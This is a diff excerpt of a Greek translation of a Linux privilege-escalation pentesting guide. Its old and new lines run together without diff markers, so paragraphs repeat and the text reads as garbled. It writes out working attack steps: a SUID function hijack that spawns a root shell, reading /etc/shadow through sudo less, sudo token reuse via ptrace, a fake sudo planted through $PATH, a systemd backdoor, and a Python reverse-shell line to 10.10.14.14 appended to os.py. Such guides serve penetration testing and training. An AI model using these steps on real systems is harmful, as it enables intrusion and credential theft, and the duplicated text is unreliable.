Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στην εκπομπή γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το σύστημα είναι ευέλικτο, υποστηρίζοντας βασικό IPC που ενισχύει την ανταλλαγή δεδομένων μεταξύ διαδικασιών, θυμίζοντας **βελτιωμένες υποδοχές τομέα UNIX**. Επιπλέον, βοηθά στη μετάδοση γεγονότων ή σημάτων, προάγοντας την ομαλή ενσωμάτωση μεταξύ των συστατικών του συστήματος. Για παράδειγμα, ένα σήμα από έναν δαίμονα Bluetooth σχετικά με μια εισερχόμενη κλήση μπορεί να προκαλέσει έναν αναπαραγωγέα μουσικής να σιγήσει, βελτιώνοντας την εμπειρία του χρήστη. Επιπλέον, το D-Bus υποστηρίζει ένα σύστημα απομακρυσμένων αντικειμένων, απλοποιώντας τα αιτήματα υπηρεσιών και τις κλήσεις μεθόδων μεταξύ εφαρμογών, ρέοντας διαδικασίες που παραδοσιακά ήταν περίπλοκες.
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρέπει/αρνείται**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
Το D-Bus λειτουργεί με ένα **μοντέλο επιτρεπόμενου/απαγορευμένου**, διαχειριζόμενο τις άδειες μηνυμάτων (κλήσεις μεθόδων, εκπομπές σημάτων κ.λπ.) με βάση το σωρευτικό αποτέλεσμα των κανόνων πολιτικής που ταιριάζουν. Αυτές οι πολιτικές καθορίζουν τις αλληλεπιδράσεις με το λεωφορείο, επιτρέποντας ενδεχομένως την κλιμάκωση δικαιωμάτων μέσω της εκμετάλλευσης αυτών των αδειών.
Ένα παράδειγμα μιας τέτοιας πολιτικής στο `/etc/dbus-1/system.d/wpa_supplicant.conf` παρέχεται, λεπτομερώνοντας τις άδειες για τον χρήστη root να κατέχει, να στέλνει και να λαμβάνει μηνύματα από `fi.w1.wpa_supplicant1`.
Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλους όσους δεν καλύπτονται από άλλες συγκεκριμένες πολιτικές.
Οι πολιτικές χωρίς καθορισμένο χρήστη ή ομάδα ισχύουν καθολικά, ενώ οι πολιτικές "προεπιλογής" ισχύουν για όλα τα μη καλυπτόμενα από άλλες συγκεκριμένες πολιτικές.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -660,6 +666,7 @@ gpg --list-keys 2>/dev/null
Ελέγξτε αν είστε **μέλος κάποιου γκρουπ** που θα μπορούσε να σας δώσει δικαιώματα root:
{{#ref}}
interesting-groups-linux-pe/
{{#endref}}
@ -681,9 +688,9 @@ fi
```bash
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
```
### Γνωστοί κωδικοί
### Γνωστοί κωδικοί πρόσβασης
Αν **γνωρίζετε οποιονδήποτε κωδικό** του περιβάλλοντος **προσπαθήστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
Αν **γνωρίζετε οποιονδήποτε κωδικό πρόσβασης** του περιβάλλοντος **δοκιμάστε να συνδεθείτε ως κάθε χρήστης** χρησιμοποιώντας τον κωδικό.
### Su Brute
@ -694,7 +701,7 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
### $PATH
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον γράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον γράψιμο φάκελο σας στο $PATH.
Αν διαπιστώσετε ότι μπορείτε να **γράψετε μέσα σε κάποιον φάκελο του $PATH** μπορεί να είστε σε θέση να κλιμακώσετε τα δικαιώματα σας δημιουργώντας **μια πίσω πόρτα μέσα στον εγγράψιμο φάκελο** με το όνομα κάποιας εντολής που πρόκειται να εκτελεστεί από έναν διαφορετικό χρήστη (ιδανικά root) και που **δεν φορτώνεται από φάκελο που βρίσκεται πριν** από τον εγγράψιμο φάκελο σας στο $PATH.
### SUDO και SUID
@ -738,7 +745,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo execution bypassing paths
**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **symlinks**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
**Πηδήξτε** για να διαβάσετε άλλα αρχεία ή χρησιμοποιήστε **συμβολικούς συνδέσμους**. Για παράδειγμα, στο αρχείο sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
@ -769,14 +776,14 @@ sudo less
### SUID δυαδικό αρχείο με διαδρομή εντολής
Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το suid αρχείο.
Αν το **suid** δυαδικό αρχείο **εκτελεί μια άλλη εντολή καθορίζοντας τη διαδρομή**, τότε, μπορείς να προσπαθήσεις να **εξάγεις μια συνάρτηση** με το όνομα της εντολής που καλεί το αρχείο suid.
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_, πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
Για παράδειγμα, αν ένα suid δυαδικό αρχείο καλεί _**/usr/sbin/service apache2 start**_ πρέπει να προσπαθήσεις να δημιουργήσεις τη συνάρτηση και να την εξάγεις:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
```
Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η συνάρτηση θα εκτελείται
Τότε, όταν καλέσετε το δυαδικό αρχείο suid, αυτή η λειτουργία θα εκτελείται
### LD_PRELOAD & **LD_LIBRARY_PATH**
@ -842,7 +849,7 @@ strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
Για παράδειγμα, η εμφάνιση ενός σφάλματος όπως _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ υποδηλώνει μια πιθανότητα εκμετάλλευσης.
Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει δημιουργώντας ένα αρχείο C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα:
Για να εκμεταλλευτεί κανείς αυτό, θα προχωρήσει στη δημιουργία ενός αρχείου C, ας πούμε _"/path/to/.config/libcalc.c"_, που θα περιέχει τον παρακάτω κώδικα:
```c
#include <stdio.h>
#include <stdlib.h>
@ -894,39 +901,41 @@ system("/bin/bash -p");
[**GTFOBins**](https://gtfobins.github.io) είναι μια επιμελημένη λίστα Unix binaries που μπορούν να εκμεταλλευτούν από έναν επιτιθέμενο για να παρακάμψει τους τοπικούς περιορισμούς ασφαλείας. [**GTFOArgs**](https://gtfoargs.github.io/) είναι το ίδιο αλλά για περιπτώσεις όπου μπορείτε **μόνο να εισάγετε επιχειρήματα** σε μια εντολή.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφα, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα δικαιώματα, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
Το έργο συλλέγει νόμιμες συναρτήσεις Unix binaries που μπορούν να καταχραστούν για να σπάσουν περιορισμένα κέλυφη, να κλιμακώσουν ή να διατηρήσουν ανυψωμένα προνόμια, να μεταφέρουν αρχεία, να δημιουργήσουν bind και reverse shells, και να διευκολύνουν άλλες εργασίες μετά την εκμετάλλευση.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
> strace -o /dev/null /bin/sh\
> sudo awk 'BEGIN {system("/bin/sh")}'
{{#ref}}
https://gtfobins.github.io/
{{#endref}}
{{#ref}}
https://gtfoargs.github.io/
{{#endref}}
### FallOfSudo
Εάν μπορείτε να έχετε πρόσβαση στο `sudo -l`, μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo.
Αν μπορείτε να έχετε πρόσβαση στο `sudo -l` μπορείτε να χρησιμοποιήσετε το εργαλείο [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) για να ελέγξετε αν βρίσκει πώς να εκμεταλλευτεί οποιονδήποτε κανόνα sudo.
### Επαναχρησιμοποίηση Σημείων Sudo
Σε περιπτώσεις όπου έχετε **sudo access** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα δικαιώματα σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια υφαρπάζοντας το session token**.
Σε περιπτώσεις όπου έχετε **πρόσβαση sudo** αλλά όχι τον κωδικό πρόσβασης, μπορείτε να κλιμακώσετε τα προνόμια σας **περιμένοντας την εκτέλεση μιας εντολής sudo και στη συνέχεια αναλαμβάνοντας το session token**.
Απαιτήσεις για την κλιμάκωση δικαιωμάτων:
Απαιτήσεις για την κλιμάκωση προνομίων:
- Έχετε ήδη ένα shell ως χρήστης "_sampleuser_"
- Έχετε ήδη ένα κέλυφος ως χρήστης "_sampleuser_"
- "_sampleuser_" έχει **χρησιμοποιήσει `sudo`** για να εκτελέσει κάτι στα **τελευταία 15 λεπτά** (κατά προεπιλογή αυτή είναι η διάρκεια του sudo token που μας επιτρέπει να χρησιμοποιούμε `sudo` χωρίς να εισάγουμε οποιονδήποτε κωδικό πρόσβασης)
- `cat /proc/sys/kernel/yama/ptrace_scope` είναι 0
- `gdb` είναι προσβάσιμο (μπορείτε να το ανεβάσετε)
(Μπορείτε προσωρινά να ενεργοποιήσετε το `ptrace_scope` με `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ή μόνιμα τροποποιώντας το `/etc/sysctl.d/10-ptrace.conf` και ρυθμίζοντας `kernel.yama.ptrace_scope = 0`)
Εάν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα δικαιώματα χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
Αν πληρούνται όλες αυτές οι απαιτήσεις, **μπορείτε να κλιμακώσετε τα προνόμια χρησιμοποιώντας:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Η **πρώτη εκμετάλλευση** (`exploit.sh`) θα δημιουργήσει το binary `activate_sudo_token` στο _/tmp_. Μπορείτε να το χρησιμοποιήσετε για να **ενεργοποιήσετε το sudo token στη συνεδρία σας** (δεν θα αποκτήσετε αυτόματα ένα root shell, κάντε `sudo su`):
```bash
@ -979,7 +988,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να κερδίσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
Αν γνωρίζετε ότι ένας **χρήστης συνήθως συνδέεται σε μια μηχανή και χρησιμοποιεί το `sudo`** για να αποκτήσει δικαιώματα, και έχετε αποκτήσει ένα shell μέσα σε αυτό το περιβάλλον χρήστη, μπορείτε να **δημιουργήσετε ένα νέο εκτελέσιμο sudo** που θα εκτελεί τον κώδικά σας ως root και στη συνέχεια την εντολή του χρήστη. Στη συνέχεια, **τροποποιήστε το $PATH** του περιβάλλοντος χρήστη (για παράδειγμα, προσθέτοντας τη νέα διαδρομή στο .bash_profile) έτσι ώστε όταν ο χρήστης εκτελεί το sudo, το εκτελέσιμο sudo σας να εκτελείται.
Σημειώστε ότι αν ο χρήστης χρησιμοποιεί ένα διαφορετικό shell (όχι bash) θα χρειαστεί να τροποποιήσετε άλλα αρχεία για να προσθέσετε τη νέα διαδρομή. Για παράδειγμα, το [sudo-piggyback](https://github.com/APTy/sudo-piggyback) τροποποιεί τα `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Μπορείτε να βρείτε ένα άλλο παράδειγμα στο [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
@ -1009,6 +1018,7 @@ sudo ls
Αν για κάποιο λόγο **ένας χρήστης έχει δικαιώματα εγγραφής** σε οποιαδήποτε από τις διαδρομές που υποδεικνύονται: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, οποιοδήποτε αρχείο μέσα στο `/etc/ld.so.conf.d/` ή οποιονδήποτε φάκελο εντός του αρχείου ρυθμίσεων μέσα στο `/etc/ld.so.conf.d/*.conf`, μπορεί να είναι σε θέση να κλιμακώσει τα δικαιώματα.\
Ρίξτε μια ματιά στο **πώς να εκμεταλλευτείτε αυτή τη λανθασμένη ρύθμιση** στην επόμενη σελίδα:
{{#ref}}
ld.so.conf-example.md
{{#endref}}
@ -1049,7 +1059,7 @@ execve(file,argv,0);
## Δυνατότητες
Οι δυνατότητες του Linux παρέχουν ένα **υποσύνολο των διαθέσιμων δικαιωμάτων root σε μια διαδικασία**. Αυτό σπάει αποτελεσματικά τα δικαιώματα root **σε μικρότερες και διακριτές μονάδες**. Κάθε μία από αυτές τις μονάδες μπορεί στη συνέχεια να παραχωρηθεί ανεξάρτητα σε διαδικασίες. Με αυτόν τον τρόπο, το πλήρες σύνολο δικαιωμάτων μειώνεται, μειώνοντας τους κινδύνους εκμετάλλευσης.\
Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα σχετικά με τις δυνατότητες και πώς να τις εκμεταλλευτείτε**:
Διαβάστε την παρακάτω σελίδα για **να μάθετε περισσότερα για τις δυνατότητες και πώς να τις εκμεταλλευτείτε**:
{{#ref}}
linux-capabilities.md
@ -1058,11 +1068,11 @@ linux-capabilities.md
## Δικαιώματα καταλόγου
Σε έναν κατάλογο, το **bit για "εκτέλεση"** υποδηλώνει ότι ο επηρεαζόμενος χρήστης μπορεί να "**cd**" στον φάκελο.\
Το **bit "ανάγνωσης"** υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **bit "εγγραφής"** υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
Το **"read"** bit υποδηλώνει ότι ο χρήστης μπορεί να **καταγράψει** τα **αρχεία**, και το **"write"** bit υποδηλώνει ότι ο χρήστης μπορεί να **διαγράψει** και να **δημιουργήσει** νέα **αρχεία**.
## ACLs
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανών να **παρακάμπτουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
Οι Λίστες Ελέγχου Πρόσβασης (ACLs) αντιπροσωπεύουν το δευτερεύον επίπεδο διακριτικών δικαιωμάτων, ικανές να **παρακάμψουν τα παραδοσιακά δικαιώματα ugo/rwx**. Αυτά τα δικαιώματα ενισχύουν τον έλεγχο της πρόσβασης σε αρχεία ή καταλόγους επιτρέποντας ή αρνούμενα δικαιώματα σε συγκεκριμένους χρήστες που δεν είναι οι ιδιοκτήτες ή μέλη της ομάδας. Αυτό το επίπεδο **λεπτομέρειας εξασφαλίζει πιο ακριβή διαχείριση πρόσβασης**. Περαιτέρω λεπτομέρειες μπορείτε να βρείτε [**εδώ**](https://linuxconfig.org/how-to-manage-acls-on-linux).
**Δώστε** στον χρήστη "kali" δικαιώματα ανάγνωσης και εγγραφής σε ένα αρχείο:
```bash
@ -1075,9 +1085,9 @@ setfacl -b file.txt #Remove the ACL of the file
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
## Ανοιχτές συνεδρίες shell
## Ανοιχτές συνεδρίες κελύφους
Σε **παλιές εκδόσεις** μπορείς να **παρακάμψεις** κάποιες **συνεδρίες shell** ενός διαφορετικού χρήστη (**root**).\
Σε **παλιές εκδόσεις** μπορείς να **παρακάμψεις** κάποιες **συνεδρίες κελύφους** άλλου χρήστη (**root**).\
Σε **νεότερες εκδόσεις** θα μπορείς να **συνδεθείς** μόνο σε συνεδρίες οθόνης του **δικού σου χρήστη**. Ωστόσο, μπορείς να βρεις **ενδιαφέρουσες πληροφορίες μέσα στη συνεδρία**.
### παρακάμψη συνεδριών οθόνης
@ -1151,7 +1161,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
### ForwardAgent/AllowAgentForwarding
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό σας υπολογιστή**.
Η προώθηση του SSH agent σας επιτρέπει να **χρησιμοποιείτε τα τοπικά σας SSH κλειδιά αντί να αφήνετε κλειδιά** (χωρίς κωδικούς πρόσβασης!) να βρίσκονται στον διακομιστή σας. Έτσι, θα μπορείτε να **πηδήξετε** μέσω ssh **σε έναν υπολογιστή** και από εκεί **να πηδήξετε σε έναν άλλο** υπολογιστή **χρησιμοποιώντας** το **κλειδί** που βρίσκεται στον **αρχικό υπολογιστή** σας.
Πρέπει να ρυθμίσετε αυτή την επιλογή στο `$HOME/.ssh.config` όπως αυτό:
```
@ -1177,7 +1187,7 @@ ssh-forward-agent-exploitation.md
```bash
ls -l /etc/profile /etc/profile.d/
```
Αν βρείτε οποιοδήποτε περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
Αν βρείτε κάποιο περίεργο προφίλ script, θα πρέπει να το ελέγξετε για **ευαίσθητες λεπτομέρειες**.
### Αρχεία Passwd/Shadow
@ -1188,7 +1198,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
Σε ορισμένες περιπτώσεις, μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
Σε ορισμένες περιπτώσεις μπορείτε να βρείτε **password hashes** μέσα στο αρχείο `/etc/passwd` (ή ισοδύναμο).
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@ -1221,7 +1231,7 @@ su - dummy
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
```
Για παράδειγμα, αν η μηχανή εκτελεί έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο ρύθμισης υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές:
Για παράδειγμα, αν η μηχανή εκτελεί έναν **tomcat** server και μπορείτε να **τροποποιήσετε το αρχείο διαμόρφωσης υπηρεσίας Tomcat μέσα στο /etc/systemd/,** τότε μπορείτε να τροποποιήσετε τις γραμμές:
```
ExecStart=/path/to/backdoor
User=root
@ -1292,7 +1302,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
### Καταγραφές
Αν μπορείτε να διαβάσετε καταγραφές, μπορεί να είστε σε θέση να βρείτε **ενδιαφέρουσες/εμπιστευτικές πληροφορίες μέσα σε αυτές**. Όσο πιο παράξενη είναι η καταγραφή, τόσο πιο ενδιαφέρουσα θα είναι (πιθανώς).\
Επίσης, κάποιες **κακώς** ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
Επίσης, κάποιες "**κακώς**" ρυθμισμένες (backdoored?) **καταγραφές ελέγχου** μπορεί να σας επιτρέψουν να **καταγράψετε κωδικούς πρόσβασης** μέσα σε καταγραφές ελέγχου όπως εξηγείται σε αυτή την ανάρτηση: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/).
```bash
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
@ -1313,21 +1323,21 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
### Generic Creds Search/Regex
Πρέπει επίσης να ελέγξετε για αρχεία που περιέχουν τη λέξη "**password**" στο **όνομα** ή μέσα στο **περιεχόμενο**, και επίσης να ελέγξετε για IPs και emails μέσα σε logs, ή regexps hashes.\
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει, μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
Δεν θα παραθέσω εδώ πώς να κάνετε όλα αυτά, αλλά αν σας ενδιαφέρει μπορείτε να ελέγξετε τους τελευταίους ελέγχους που εκτελεί το [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
## Writable files
### Python library hijacking
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελεστεί το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Αν γνωρίζετε από **πού** θα εκτελεστεί ένα python script και μπορείτε να **γράψετε μέσα** σε αυτόν τον φάκελο ή μπορείτε να **τροποποιήσετε τις βιβλιοθήκες python**, μπορείτε να τροποποιήσετε τη βιβλιοθήκη OS και να την backdoor (αν μπορείτε να γράψετε εκεί όπου θα εκτελείται το python script, αντιγράψτε και επικολλήστε τη βιβλιοθήκη os.py).
Για να **backdoor τη βιβλιοθήκη** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την εξής γραμμή (αλλάξτε IP και PORT):
Για να **backdoor the library** απλά προσθέστε στο τέλος της βιβλιοθήκης os.py την παρακάτω γραμμή (αλλάξτε IP και PORT):
```python
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
```
### Logrotate exploitation
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελεί αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
Μια ευπάθεια στο `logrotate` επιτρέπει σε χρήστες με **δικαιώματα εγγραφής** σε ένα αρχείο καταγραφής ή στους γονικούς του φακέλους να αποκτήσουν πιθανώς ανυψωμένα δικαιώματα. Αυτό συμβαίνει επειδή το `logrotate`, που συχνά εκτελείται ως **root**, μπορεί να χειραγωγηθεί για να εκτελέσει αυθαίρετα αρχεία, ειδικά σε φακέλους όπως το _**/etc/bash_completion.d/**_. Είναι σημαντικό να ελέγχετε τα δικαιώματα όχι μόνο στο _/var/log_ αλλά και σε οποιονδήποτε φάκελο όπου εφαρμόζεται η περιστροφή καταγραφών.
> [!TIP]
> Αυτή η ευπάθεια επηρεάζει την έκδοση `logrotate` `3.18.0` και παλαιότερες
@ -1342,7 +1352,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
**Αναφορά ευπάθειας:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
Αν, για οποιονδήποτε λόγο, ένας χρήστης είναι σε θέση να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **προσαρμόσει** ένα υπάρχον, τότε το **σύστημά σας είναι pwned**.
Αν, για οποιονδήποτε λόγο, ένας χρήστης μπορεί να **γράψει** ένα σενάριο `ifcf-<whatever>` στο _/etc/sysconfig/network-scripts_ **ή** μπορεί να **ρυθμίσει** ένα υπάρχον, τότε το **σύστημα σας είναι pwned**.
Τα σενάρια δικτύου, όπως το _ifcg-eth0_, χρησιμοποιούνται για συνδέσεις δικτύου. Φαίνονται ακριβώς όπως τα αρχεία .INI. Ωστόσο, είναι \~sourced\~ στο Linux από τον Network Manager (dispatcher.d).
@ -1360,24 +1370,27 @@ DEVICE=eth0
Από την άλλη πλευρά, το `/etc/init` σχετίζεται με το **Upstart**, μια νεότερη **διαχείριση υπηρεσιών** που εισήχθη από το Ubuntu, χρησιμοποιώντας αρχεία ρυθμίσεων για εργασίες διαχείρισης υπηρεσιών. Παρά τη μετάβαση στο Upstart, τα scripts του SysVinit εξακολουθούν να χρησιμοποιούνται παράλληλα με τις ρυθμίσεις του Upstart λόγω ενός επιπέδου συμβατότητας στο Upstart.
**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής αρχικοποίησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
**systemd** αναδύεται ως ένας σύγχρονος διαχειριστής εκκίνησης και υπηρεσιών, προσφέροντας προηγμένα χαρακτηριστικά όπως εκκίνηση daemon κατ' απαίτηση, διαχείριση automount και στιγμιότυπα κατάστασης συστήματος. Οργανώνει αρχεία στο `/usr/lib/systemd/` για πακέτα διανομής και `/etc/systemd/system/` για τροποποιήσεις διαχειριστή, απλοποιώντας τη διαδικασία διαχείρισης του συστήματος.
## Άλλες Τεχνικές
### NFS Privilege escalation
{{#ref}}
